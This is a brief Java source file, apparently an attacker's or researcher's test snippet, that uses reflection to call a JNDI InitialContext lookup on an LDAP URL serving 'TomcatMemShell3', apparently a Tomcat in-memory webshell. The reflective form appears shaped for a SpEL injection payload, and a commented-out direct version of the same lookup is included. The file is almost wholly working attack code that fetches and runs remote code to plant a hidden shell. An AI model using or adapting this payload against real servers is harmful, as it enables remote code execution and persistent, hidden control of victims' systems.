import javax.naming.InitialContext; import javax.naming.NamingException; import java.lang.reflect.InvocationTargetException; /** * @ClassName: spel * @Description: TODO * @Author: Summer * @Date: 2021/8/23 11:39 * @Version: v1.0.0 * @Description: **/ public class spel { public static void main(String[] args) { try { // javax.naming.InitialContext context = new InitialContext(); // context.lookup("ldap://127.0.0.1:1389/basic/TomcatMemShell3"); java.lang.Class.forName("javax.naming.InitialContext").getMethod("lookup", String.class).invoke(Class.forName("javax.naming.InitialContext").newInstance(),"ldap://127.0.0.1:1389/basic/TomcatMemShell3"); // new javax.naming.InitialContext().lookup(""); } catch ( ClassNotFoundException | NoSuchMethodException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } } }